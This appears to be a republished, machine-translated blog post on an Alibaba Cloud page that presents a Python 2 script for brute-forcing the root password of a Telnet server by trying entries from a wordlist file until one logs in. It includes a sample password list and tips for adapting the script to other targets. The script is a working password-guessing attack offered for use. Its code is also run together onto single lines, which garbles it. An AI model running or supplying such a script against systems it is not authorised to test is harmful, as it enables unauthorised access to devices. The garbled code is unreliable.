Python Automatic connection detection password for Telnet

Source: Internet
Author: User
Tags password book

Recently in the study of Python network related programming, this code realizes the Telnet automatic connection detection root user password, the password is from the password book, one detects whether the password matches, until the match succeeds, the screen output stops.


The code is as follows:

#encoding =utf-8import telnetlibimport timeimport sysimport osdef do_telnet (Host, Port, username, password, finish): #连接 Telnet Server tn = telnetlib. Telnet (Host, Port, Timeout=1) tn.set_debuglevel (3) #输入登录用户名 tn.read_until ("Login:") tn.write (str (username    + ' \ n ') # Enter the login password tn.read_until ("Password:") tn.write (str (Password) + ' \ n ') # to determine the password error prompt, if there is no such hint that the login is successful    If Tn.read_until (finish): print "****** login incorrect!\n" tn.close (); If __name__== ' __main__ ': Host = raw_input ("IP:") # telnet Server IP Port = Raw_input ("Port:") # Telnet Service     Port username = ' Root ' # login user name finish = ' Incorrect ' # password error pw_file = open ('. \\pw.txt ', ' r+ ') #密码文件 Index = 0 Print time.asctime (), ": ****** begin", "\ n" While True:password = Pw_file.readline () I        Ndex +=1;        Print Index,time.asctime (), ": ****** Try", "", Username, ":", Password, "" If len (password) = = 0:break; Do_telnet(Host, Port, username, password, finish) pw_file.close (); 


Password this pw.txt, content such as:

rootadmin12345888888


The output is as follows:



Note: I test the target host is embedded Linux system, username is root, password error returned is incorrect hint. You may want to modify the user name and error prompt depending on the target system.


Python Automatic connection detection password for Telnet

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.